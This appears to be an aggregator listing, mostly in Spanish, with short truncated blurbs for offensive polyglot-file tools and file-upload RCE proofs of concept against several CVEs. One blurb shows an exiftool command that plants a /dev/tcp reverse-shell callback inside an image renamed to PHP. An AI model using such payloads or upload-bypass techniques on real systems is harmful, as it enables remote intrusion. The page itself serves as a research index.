Payload-and-Polyglot-Lists

Payload & Polyglot Lists Found a payload that doesn't work? Please open an issue with the payload, target context, and what you expected to happen. Pull requests with fixes or new payloads are always welcome. Research is ongoing. This project is under active development and will be updated...

XanXSS

XanXSS XanXSS is a reflected XSS searching tool DOM coming soon that creates payloads based from templates. Unlike other XSS scanners that just run through a list of payloads. XanXSS tries to make the payload unidentifiable, for example: root@kitploit: /cLIcKMe!XaNxss With XanXSS every payload is...

CVE-2026-13001

CVE-2026-13001 — RCE por subida de archivos no autenticada en Podlove Podcast Publisher Desajuste entre isimage y extractfileextension → Subida de poliglotos PHP Descripción general CVE-2026-13001 es una vulnerabilidad de subida arbitraria de archivos no autenticada de gravedad crítica CVSS 9.8 e...

powerglot

Powerglot Powerglot codifica varios tipos de scripts usando políglotas, por ejemplo, scripts ofensivos de PowerShell. No se necesita un cargador para ejecutar el payload. En ejercicios de red team o tareas ofensivas, el enmascaramiento de payloads suele realizarse mediante esteganografía,...

polyshell

PolyShell: un políglota de Bash/Batch/PowerShell Qué es PolyShell es un script que es válido simultáneamente en Bash, Windows Batch y PowerShell es decir, un políglota. Esto convierte a PolyShell en una plantilla útil para pruebas de penetración, ya que se puede ejecutar en la mayoría de los...

CVE-2023-24610

CVE-2023-24610 Esto es una prueba de concepto para CVE-2023-24610 Comenzamos creando un archivo políglota usando exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php Cambiamos el archivo a png para que pase la verificación del front-end Después, iniciamos un listener...

BobTheSmuggler

BobTheSmuggler Actualización rápida 15 de enero de 2024 -Se ha añadido soporte para compresión de múltiples archivos. Si tienes múltiples archivos generados para tu payload final por ejemplo, archivos de DLL-Sideloading o archivos de entrega en múltiples etapas, ahora puedes usar la opción '-i'...

pixload

pixload -- Herramientas de creación de payloads en imágenes DESCRIPCIÓN Conjunto de herramientas para ocultar backdoors crear/inyectar payloads en imágenes. Actualmente se admiten los siguientes tipos de imagen: BMP, GIF, JPG, PNG, WebP. acerca de Referencias útiles para entender mejor pixload y...

bad-dicom

Bad-DICOM PoC of my handcrafted CVE-2019-11687's exploit tool. I've crafted this PEDICOM as a Proof of Concept for my college's capstone: "Detection and prevention of attacks based on vulnerabilities of DICOM files against medical management services ". What is a PEDICOM DoomDicom.dcm is a PEDICO...

SNOWCRASH

SNOWCRASH Un generador de payloads políglota Introducción SNOWCRASH crea un script que puede ejecutarse tanto en máquinas Linux como Windows. El payload seleccionado por el usuario en este caso, código combinado de Bash y PowerShell se incrusta en una única plantilla políglota, que es independien...

tweetable-polyglot-png

tweetable-polyglot-png Empaqueta hasta 3MB de datos en un archivo PNG poliglota tweeteable. Véalo en acción aquí: https://twitter.com/David3141593/status/1371974874856587268 Otros hosts de imágenes en los que he verificado que esta técnica funciona: Imgur https://i.imgur.com/kNhGrN3.png Github re...

PyStegosploit

PyStegosploit - Entrega de Exploits mediante Esteganografía y Políglotas video1 | video2 | página por Charmve - yidazhang1 at gmaildotcom, @Charmve @therealsaumil @amichael Mayo 2021 Stegosploit crea una nueva forma de codificar exploits de navegador "drive-by" y entregarlos a través de archivos ...

EXPLOIT-CVE-2025-27515

CVE-2025-27515 Proof of Concept A practical demonstration of CVE-2025-27515 , a file upload validation bypass vulnerability in Laravel Framework ≤ 12.0.0. Vulnerability Overview CVE-2025-27515 is a validation bypass that allows attackers to circumvent file upload restrictions when Laravel...

DKMC

No mates a mi gato DKMC Windows 10 ahora limita la ejecución adecuada del payload de shellcode debido a la necesidad de una página RWX para decodificar y ejecutar el shellcode. DKMC puede actualizar la configuración de una página de memoria con el permiso adecuado. No mates a mi gato es una...

dompdf-rce

Exploit de RCE para dompdf Este repositorio contiene una aplicación de demostración vulnerable que utiliza dompdf 1.2.0 y un exploit que logra ejecución remota de código mediante un archivo políglota ttf+php. Para más detalles, visite https://positive.security/blog/dompdf-rce Instrucciones 1...

CVE-2023-47129

CVE-2023-47129 - Statamic CMS versiones 4.33.0 - Ejecución Remota de Código Descripción En versiones 4.33.0 de Statamic CMS donde el front-end tiene un formulario con carga de archivos activa, es posible enviar archivos PHP creados para parecer imágenes, independientemente de las reglas de...

CVE-2025-58440

CVE-2025-58440 Ejecución Remota de Código RCE mediante ataque de archivo políglota e inyección de byte nulo en Laravel FileManager Resumen Las versiones 2.11 del paquete unisharp/laravel-filemanager son vulnerables a Ejecución Remota de Código RCE debido a una validación inadecuada del tipo de...

gitgalaxy

GitGalaxy Inteligencia estructural a escala de repositorio sin compilación. Docs · Visualizer · Language Crucible · Keyword Rosetta · Raw Output 1 escaneo · 97 señales estructurales · más de 50 lenguajes · sin compilación · 17 categorías de exposición al riesgo · 6 salidas La versión corta...

CVE-2025-64512-Polyglot-PoC

CVE-2025-64512 Carga útil políglota En las últimas semanas en noviembre de 2025, se reveló una vulnerabilidad interesante CVE-2025-64512 en pdfminer.six, un popular proyecto de Python para procesar archivos PDF, utilizado en particular en pipelines de IA. La vulnerabilidad permite la ejecución...

CVE-2026-94045

newbee-mall (up to 1.0.0) contains a persisted cross-site scripting vulnerability in the Goods Save Endpoint (controller/common/UploadController.java). The root cause is that ImageIO.read() performs a format-agnostic read, returning non-null for a polyglot PNG| payload and thereby bypassing the i...